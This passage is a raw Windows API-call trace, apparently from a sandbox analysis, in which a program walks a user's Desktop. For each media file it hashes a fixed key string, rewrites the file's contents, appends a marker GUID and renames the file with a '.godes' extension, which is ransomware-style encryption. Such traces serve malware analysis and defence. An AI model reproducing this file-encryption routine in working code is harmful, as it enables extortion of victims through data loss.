(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M3MLVH7xcPc.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m3mlvh7xcpc.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.088] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=101712) returned 1 [0113.088] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.090] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x18d2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.090] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.090] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.090] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.090] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.090] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x18d50, lpOverlapped=0x0) returned 1 [0113.091] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.091] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.091] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.091] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.091] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.092] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.092] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.092] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.092] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.092] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.092] GetLastError () returned 0x0 [0113.092] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.092] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.092] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.092] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18d50) returned 0x3321120 [0113.092] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.092] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.092] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x18d4b, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x18d4b, lpOverlapped=0x0) returned 1 [0113.093] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.093] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x18d50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.093] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.093] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.093] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.093] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.093] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.093] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.093] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.093] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.093] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.093] CloseHandle (hObject=0x624) returned 1 [0113.094] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0113.094] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x880) returned 0x3321120 [0113.094] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0113.094] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M3MLVH7xcPc.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m3mlvh7xcpc.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M3MLVH7xcPc.jpg.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m3mlvh7xcpc.jpg.godes")) returned 1 [0113.095] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.095] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.096] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.096] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd770cdb0, ftCreationTime.dwHighDateTime=0x1d4c78c, ftLastAccessTime.dwLowDateTime=0xf4b1d310, ftLastAccessTime.dwHighDateTime=0x1d4d051, ftLastWriteTime.dwLowDateTime=0xf4b1d310, ftLastWriteTime.dwHighDateTime=0x1d4d051, nFileSizeHigh=0x0, nFileSizeLow=0x2e9f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nbzD8p.wav", cAlternateFileName="")) returned 1 [0113.096] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.096] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.096] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.096] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nbzD8p.wav") returned=".wav" [0113.096] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nbzD8p.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nbzd8p.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.096] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=11935) returned 1 [0113.096] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.098] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x2e79, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.098] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.101] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.101] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.101] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x2e9f, lpOverlapped=0x0) returned 1 [0113.102] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.102] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.102] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.102] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.102] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.103] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.103] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.103] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.103] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.103] GetLastError () returned 0x0 [0113.103] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.103] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x2ea0) returned 0x3321120 [0113.103] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.103] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x2e9a, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x2e9a, lpOverlapped=0x0) returned 1 [0113.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.103] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x2e9f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.103] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.104] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.104] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.104] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.104] CloseHandle (hObject=0x624) returned 1 [0113.104] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0113.104] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x870) returned 0x3321120 [0113.104] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0113.104] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nbzD8p.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nbzd8p.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nbzD8p.wav.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nbzd8p.wav.godes")) returned 1 [0113.105] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.105] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.106] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.106] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33aebfe0, ftCreationTime.dwHighDateTime=0x1d4c7b7, ftLastAccessTime.dwLowDateTime=0x28bdb360, ftLastAccessTime.dwHighDateTime=0x1d4c77c, ftLastWriteTime.dwLowDateTime=0x28bdb360, ftLastWriteTime.dwHighDateTime=0x1d4c77c, nFileSizeHigh=0x0, nFileSizeLow=0xac1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OQQNDY6qNZHsM.flv", cAlternateFileName="OQQNDY~1.FLV")) returned 1 [0113.106] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.106] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.106] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.106] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OQQNDY6qNZHsM.flv") returned=".flv" [0113.106] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OQQNDY6qNZHsM.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oqqndy6qnzhsm.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.106] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=44063) returned 1 [0113.106] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.108] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xabf9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.108] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.109] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.109] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.109] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.110] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xac1f, lpOverlapped=0x0) returned 1 [0113.111] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.111] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.111] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.111] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.111] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.112] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.112] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.112] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.112] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.112] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.112] GetLastError () returned 0x0 [0113.112] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.112] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.112] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.112] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xac20) returned 0x3321120 [0113.112] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.112] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.112] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xac1a, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xac1a, lpOverlapped=0x0) returned 1 [0113.113] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.113] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xac1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.113] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.113] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.113] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.113] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.113] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.113] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.113] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.113] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.113] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.113] CloseHandle (hObject=0x624) returned 1 [0113.114] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0113.114] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x880) returned 0x3321120 [0113.114] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0113.114] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OQQNDY6qNZHsM.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oqqndy6qnzhsm.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OQQNDY6qNZHsM.flv.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oqqndy6qnzhsm.flv.godes")) returned 1 [0113.114] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.114] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.115] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.115] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x696ed40, ftCreationTime.dwHighDateTime=0x1d4ca17, ftLastAccessTime.dwLowDateTime=0xe9673d10, ftLastAccessTime.dwHighDateTime=0x1d4c61f, ftLastWriteTime.dwLowDateTime=0xe9673d10, ftLastWriteTime.dwHighDateTime=0x1d4c61f, nFileSizeHigh=0x0, nFileSizeLow=0x1258, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ote7kPgqRa 0Oya j.avi", cAlternateFileName="OTE7KP~1.AVI")) returned 1 [0113.115] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.115] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0113.116] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.116] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ote7kPgqRa 0Oya j.avi") returned=".avi" [0113.116] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ote7kPgqRa 0Oya j.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ote7kpgqra 0oya j.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.116] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=4696) returned 1 [0113.116] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.117] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.117] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.118] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.118] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.118] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.118] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x1258, lpOverlapped=0x0) returned 1 [0113.118] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.118] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.118] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.118] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.118] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.119] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.119] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.119] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.119] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.119] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, 